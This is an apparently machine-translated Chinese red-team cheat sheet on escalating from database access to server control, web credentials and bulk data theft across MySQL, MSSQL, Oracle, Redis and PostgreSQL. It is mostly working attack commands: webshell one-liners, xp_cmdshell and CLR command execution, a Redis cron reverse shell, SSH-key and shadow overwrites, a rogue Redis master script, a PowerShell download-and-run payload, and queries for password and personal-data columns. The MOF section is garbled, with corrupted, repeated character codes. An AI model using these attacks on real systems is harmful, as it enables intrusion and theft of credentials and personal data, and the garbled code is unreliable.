0x01 概述
该文章文章总结了在国家级攻防演练中数据库相关利用,旨在帮助红队队员在拿下数据库权限后快速获取服务器权限、WEB应用权限、数据,请勿利用。
该文章不会将所有的利用方式进行总结,因为有一些利用方式非常鸡肋,需要特别说明,文章总结了在实战中采用的方式并且有益的利用。
0x02 数据库->服务器权限
建议大家在实战中直接使用工具,当使用工具遇到问题时可通过以下步骤进行调试
网上有成熟的数据库利用工具:https : //github.com/SafeGroceryStore/MDUT
mysql
- UDF提权
使用条件
secure-file-priv 不为NULL
存在\lib\plugin目录
确定--secure-file-priv参数,值为NULL则无法提权
显示像'%secure%'这样的全局变量;
确定mysql版本,对应udf.dll版本
显示诸如“%version%”之类的变量;
将udf.dll代码的16进制数声明给my_udf_a变量
使用mysql; set @my_udf_a=concat('',dll的16进制);
建表my_udf_data,字段为data,类型为longblob
创建表 my_udf_data(data LONGBLOB);
@my_udf_a 插入表my_udf_data
insert into my_udf_data values("");update my_udf_data set data = @my_udf_a;
查看udf.dll的导出路径
显示变量,如 '%plugin%';
将udf.dll导出
从 my_udf_data 中选择数据到 DUMPFILE 'D:/hack/phpstudy/PHPTutorial/MySQL/lib/plugin/udftest.dll';
创建cmd函数
创建函数 sys_eval 返回字符串 soname 'udftest.dll';
命令执行
选择 sys_eval('whoami');
附:各版本的udf.dll的hex,参考MDUT,固定了只允许创建sys_eval函数
- 提权
使用条件
secure-file-priv参数为空
mysql服务权限为管理员
生成mof文件
pace("\.rootsubscription") **EventFilter 实例为 $EventFilter{ EventNamespace = "RootCimv2"; 名称 = "filtP2"; Query = "Select * From **InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; ActiveScriptEventConsumer 实例为 $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; __FilterToConsumerBinding 实例 { Consumer = $Consumer; 过滤器 = $EventFilter; };
导入nullevt.mof文件
选择CHAR(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10 ,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116 ,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,29,123,3,232,103,32,103,39,320,39 ,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,10,19,101,16,19,32,101,109,101,16,19,32,101,109,101,199 ,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,23,3,2,3,3,2,3,3,2,3,3,2,3,3,2,3,3,3,2,3,3,2,3,3,2,3,3,3,2 ,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,3,3,3,3,3 32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,103,10,310,310,310,310,103,101,310,310,103,101,310 59、13、10、32、32、32、32、81、117、101、114、121、76、97、110、103、117、97、103、101、32、61、32、34、87、81、76、34、519、109、34、519、101 13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32, 78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61, 32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,132,13,3,32,32,32,32,30 97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87, 83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10, 32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114, 32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59)转储文件 'c:/Windows/system32/wbem/mof/nullevt.mof';118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101, 32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110, 99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114, 59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,50,13/c/3,101,50,114,101,50,13/3/3,59,114,109,13 nullevt.mof';118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101, 32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110, 99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114, 59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,50,13/c/3,101,50,114,101,50,13/3/3,59,114,109,13 nullevt.mof';34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41, 34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32, 32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114, 59,13,10,125,59) 到转储文件 'c:/Windows/system32/wbem/mof/nullevt.mof';34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41, 34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32, 32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114, 59,13,10,125,59) 到转储文件 'c:/Windows/system32/wbem/mof/nullevt.mof';109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111, 67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32, 70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59'of/mwm/system/dmpbe/system/cwmnull 文件/c/3109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111, 67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32, 70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59'of/mwm/system/dmpbe/system/cwmnull 文件/c/332,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) 到转储文件 'c:/Windows/system32/wbem/mof/'nullevt.32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) 到转储文件 'c:/Windows/system32/wbem/mof/'nullevt.
- 写入webshell到网站目录
使用条件
secure-file-priv 参数为空或者为网站根路径
知道网站的绝对路径
写一句话到网站根目录
选择 '<?php @eval($_POST[shell]); ?>' 进入输出文件 'D:/hack/phpstudy/PHPTutorial/WWW/shell.php';
- 写入webshell到日志general_log
使用条件
知道网站的绝对路径
开启general_log
设置全局 general_log='on';
设置日志位置
SET global general_log_file='D:/hack/phpstudy/PHPTutorial/WWW/cmd.php';
写成一句话到日志文件
SELECT '<?php assert($_POST["cmd"]);?>';
- 写入webshell到慢查询
使用条件
知道网站的绝对路径
开启慢查询日志
设置全局slow_query_log=1;
设置日志位置
设置全局slow_query_log_file='D:/hack/phpstudy/PHPTutorial/WWW/low.php';
写成一句话到慢查询文件
选择 "<?php @eval($_POST['cmd'])?>" 或 sleep(11);
mssql
- xp_cmdshell提权
使用条件
拥有DBA权限
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
开启xp_cmdshell
EXEC sp_configure '显示高级选项', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
xp_cmdshell命令执行
exec master..xp_cmdshell whoami;
- Ole 自动化程序提权
使用条件
拥有DBA权限
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
开启Ole自动化程序
EXEC sp_configure '显示高级选项', 1; 用覆盖重新配置;EXEC sp_configure 'Ole 自动化程序', 1; RECONFIGURE WITH OVERRIDE;EXEC sp_configure '显示高级选项', 0;
以多种方式执行
wscript.shell组件
声明@luan int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@luan output exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\ \System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str;
com组件
声明@luan int,@exec int,@text int,@str varchar(8000) exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan 输出 exec sp_oamethod @luan,'exec',@exec 输出,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str;
- JobAgent提权
使用条件
拥有DBA权限
需要sqlserver代理(sqlagent)开启
尝试开启sqlagent
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
利用任务计划命令执行(无回显)
使用 msdb; EXEC dbo.sp_add_job @job_name = N'testjob' EXEC sp_add_jobstep @job_name = N'testjob',@step_name = N'testjob',@subsystem = N'CMDEXEC',@command = N'whoami',@retry_attempts = 1, @retry_interval = 5 EXEC dbo.sp_add_jobserver @job_name = N'testjob' EXEC dbo.sp_start_job N'testjob';
- CLR提权
使用条件
拥有DBA权限
开启CLR
exec sp_configure '显示高级选项','1';reconfigure;exec sp_configure 'clr enabled','1';reconfigure;exec sp_configure '显示高级选项','1';
导入CLR插件
CREATE ASSEMBLY [MDATKit] AUTHORIZATION [dbo] FROM 0x16密码的dll WITH PERMISSION_SET = UNSAFE;
[16进制的dll](https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt)
创建CLR函数
创建程序 [dbo].[kitmain] @method NVARCHAR (MAX) ,@arguments NVARCHAR (MAX) 作为 EXTERNAL NAME [MDATKit].[StoredProcedures].[kitmain]
kitmain函数命令执行
exec kitmain 'cmdexec',N'whoami'
- 存储过程写webshell
使用条件
拥有DBA权限
知道的网站绝对路径
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
利用存储过程写入一句话
声明@o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\xxxx\www\test. asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
- 日志写webshell
使用条件
拥有DBA权限
知道的网站绝对路径
判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
利用存储过程写入一句话
更改数据库库名集 RECOVERY FULL 创建表 cmd (a image) 备份日志库名到磁盘 = 'c:\' with init insert into cmd (a) values (0x3C2565786563757465287265717565737428226122229295) 备份到磁盘上的日志 = 'c:\' \www\2.asp'
——沙盒提权
使用条件
拥有DBA权限
sqlserver服务权限为system
服务器拥有jet.oledb.4.0驱动
修改注册表,关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
命令执行
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("whoami")');
甲骨文
-创建java函数提权
使用条件
dba权限
使用sqlplus连接
系统/系统@192.168.117.66:1521/orcl
赋权
开始 dbms_java.grant_permission('PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete');end; /
创建java代码
创建或替换并编译名为 exe_linux 的 java 源作为 导入 java.io.BufferedReader; 导入 java.io.InputStream; 导入 java.io.InputStreamReader; 导入 java.net.UnknownHostException; public class Test { public static String list_cmd(String str){ Runtime runtime=Runtime.getRuntime(); StringBuffer enco = new StringBuffer(); enco.append("GBK"); try{ 进程 proc =runtime.exec(str); InputStream inp_suc=proc.getInputStream(); InputStream inp_err=proc.getErrorStream(); BufferedReader bfr_err = new BufferedReader(new InputStreamReader(inp_err,enco.toString())); BufferedReader bfr_suc = new BufferedReader(new InputStreamReader(inp_suc,enco.toString())); 字符串 strLine; while( (strLine=(bfr_suc.readLine())) != null){ System.out.println(strLine); } while( (strLine=(bfr_err.readLine())) != null){ System.out.println(strLine); } proc.destroy(); inp_suc.close(); inp_err.close(); }catch (Exception e) { System.out.println("EXECUTE IS ERROR!"); System.out.println(e.getMessage()); } 返回""; } /* public static void main(String[] args){ list_cmd(args[0]); } **/ } /
创建存储过程
创建或替换过程 p_exe_linux(str varchar2) 作为语言 java 名称 'Test.list_cmd(java.lang.String)'; /
命令执行
SET SERVEROUTPUT ON exec dbms_java.set_output(1111111111111); EXEC P_EXE_LINUX('whoami');
Redis
- 计划任务反弹壳
使用条件
出网
redis服务为root权限
linux
反弹壳
config set dir /var/spool/cron/ config set dbfilename root set xxx "\n\n\n* * * * * bash -i >&/dev/tcp/ip/端口 0>&1\n\n\n " 保存
- 写入ssh公钥getshell
使用条件
redis服务为root权限
允许使用登录
linux
写入密钥
config set dir /root/.ssh config set dbfilename authorized_keys set xxssh "\n\nssh-rsa xxxxxx\n\n" save
- 写入webshell提权
使用条件
知道网站的绝对路径
拥有网站目录的写权限
写入webshell
config set dir /home/web/wwwroot/ config set dbfilename xxx.php set xxphp "\n\n<?php eval($_REQUEST['x']); ?>\n\n" save
- 主从复制恶意.so文件getshell
使用条件
Redis 4.x/5.x
出网
linux
在vps上开启redis从服务,提供exp.so
python3 redis-cus-rogue.py 21000 exp.so
redis-cus-rogue.py
#!/usr/bin/env python3 import os import sys import argparse import socketserver import logging import socket 导入时间 DELIMITER = b"\r\n" class RoguoHandler(socketserver.BaseRequestHandler): def decode(self, data): if data .startswith(b'*'): return data.strip().split(DELIMITER)[2::2] if data.startswith(b'$'): return data.split(DELIMITER, 2)[1] return data.strip().split() def handle(self): while True: data = self.request.recv(1024) logging.info("receive data: %r", data) arr = self.decode(data) if arr[0].startswith(b'PING'): self.request.sendall(b'+PONG' + DELIMITER) elif arr[0].startswith(b'REPLCONF'): self.request.sendall(b' +OK' + DELIMITER) elif arr[0].startswith(b'PSYNC') 或 arr[0].startswith(b'SYNC'): self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break self.finish() def finish(self): self.request.close() 类 RoguoServer(socketserver.TCPServer): allow_reuse_address = True def __init__(self, server_address, payload): super(RoguoServer, self).__init__(server_address, RoguoHandler, True) self.payload = payload if __name__ == "__main__": if len(sys.argv)< 2 : print("python [port] [filename]") print("python 21000 exp.so") exit(0) lport = int(sys.argv[1]) expfile = sys.argv[2] with open(expfile , 'rb') as f: server = RoguoServer(('0.0.0.0', lport), f.read()) print("流氓服务器启动%d端口"%lport) server.handle_request() print("接收客户请求")
redis加载远程exp.so目标命令执行
#设置redis的备份路径为当前目录 config set dir ./ #设置备份文件名称exp.so,默认为dump.rdb config set dbfilename exp.so #设置主服务器IP和端口 slaveof 192.168.172.129 21000 #加载恶意模块 module load ./exp.so #关闭主从,关闭复制功能 slaveof no one #执行系统命令 system.exec 'whoami'
- 主从复制覆写shadow
使用条件
Redis 4.x/5.x
出网
linux
redis服务权限为root
在vps上开启redis从服务,提供shadow文件
python3 redis-cus-rogue.py 21000 影子
目标redis远程加载shadow,覆盖原始shadow
config set dir /etc/ config set dbfilename shadow slaveof 192.168.172.129 21000
- 写入启动提权
使用条件
需要启动项目录的写入权限
温沃斯
服务器需要重启
写入启动项
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" config set dbfilename shell.bat set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\"\r\n\r\n" save
Postgre
- 写入webshell
使用条件
拥有网站的权限
知道网站绝对路径
写入webshell
复制 (选择 '<?php phpinfo();?>') 到 '/tmp/1.php';
- CVE-2019-9193
使用条件
版本9.3-11.2
超级用户或者pg_read_server_files组中的任何用户
命令执行
删除表如果存在 cmd_exec; 创建表 cmd_exec(cmd_output text); 从 PROGRAM 'whoami' 复制 cmd_exec; 选择 * 从 cmd_exec;
- CVE-2019-9193
使用条件
版本9.3-11.2
超级用户或者pg_read_server_files组中的任何用户
命令执行
删除表如果存在 cmd_exec; 创建表 cmd_exec(cmd_output text); 从 PROGRAM 'whoami' 复制 cmd_exec; 选择 * 从 cmd_exec;
0x03 数据库->WEB应用权限
通过SQL语句快速查询数据库中WEB应用后台的账号密码,获取WEB应用权限分
mysql
查看数据库连接情况:
显示进程列表;
xx库中所有字段名带通|密码的表
从 information_schema.columns 中选择不同的 table_name,其中 table_schema="xx" 和 column_name 像 "%pass%" 或 column_name 像 "%pwd%"
获取WEB应用账号密码
从 car.sys_user 中选择 *
mssql
查看xx数据库连接的IP
select DISTINCT client_net_address,local_net_address from sys.dm_exec_connections where Session_id IN (select session_id from sys.dm_exec_Sessions where host_name IN (SELECT hostname FROM master.dbo.sysprocesses WHERE DB_NAME(dbid) = 'xx'));
xx库中所有字段名带通|密码的表
select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns where name like '%pass%' or name like '%pwd%')
获取WEB应用账号密码
从 [test].[dbo].test1 中选择 *
甲骨文
查看用户数据库连接的IP
从 v$session s 中选择 username,program,machine,client_info,sys_context('userenv','ip_address') 作为 ipadd,其中用户名不是空顺序,按用户名、程序、机器排序;
用户库中所有字段名带pass|pwd的表
SELECT * FROM USER_TAB_COLUMNS WHERE column_name LIKE '%PASS%' OR column_name LIKE '%PWD%';
获取WEB应用账号密码
SELECT * FROM 库名.表名;
0x04 数据库->数据
通过SQL语句快速查询数据库中的大量分项、重要数据,获取数据
mysql
xx库中所有表,按数据排序
select table_name,table_rows from information_schema.tables where table_schema='xx' order by table_rows desc;
xx 库中所有字段名带个人信息的表
从 information_schema.columns 中选择不同的 table_name where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|他的|姓名"
mssql
xx库中所有表,按数据排序
SELECT a.name,b.rows FROM xx..sysobjects a INNER JOIN xx..sysindexes b ON a.id=b.id WHERE b.indid IN(0,1) AND a.Type='u' ORDER BY b .rows DESC
xx 库中所有字段名带个人信息的表
select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns where name like '%name%' or name like '%phone%' or name like ' %mobile%' 或类似“%certificate%”的名称或类似“%number%”的名称或类似“%email%”的名称或类似“%addr%”的名称或类似“%card%”的名称或类似“%电话”的名称%”或类似“%地址%”的名称或类似“%身份证%”的名称或类似“%姓名%”的名称)
甲骨文
用户库中所有表,按字段数排序
从 user_tables t ORDER BY NUM_ROWS DESC 中选择 t.table_name,t.num_rows;
用户库中所有字段名带个人信息的表
SELECT * FROM USER_TAB_COLUMNS WHERE regexp_like(column_name,'NAME|PHONE|MOBILE|CERTIFICATE|NUMBER|EMAIL|ADDR|CARD|电话|地址|他的|姓名')
数据库提权利用
最新推荐文章于 2024-07-04 13:59:00 发布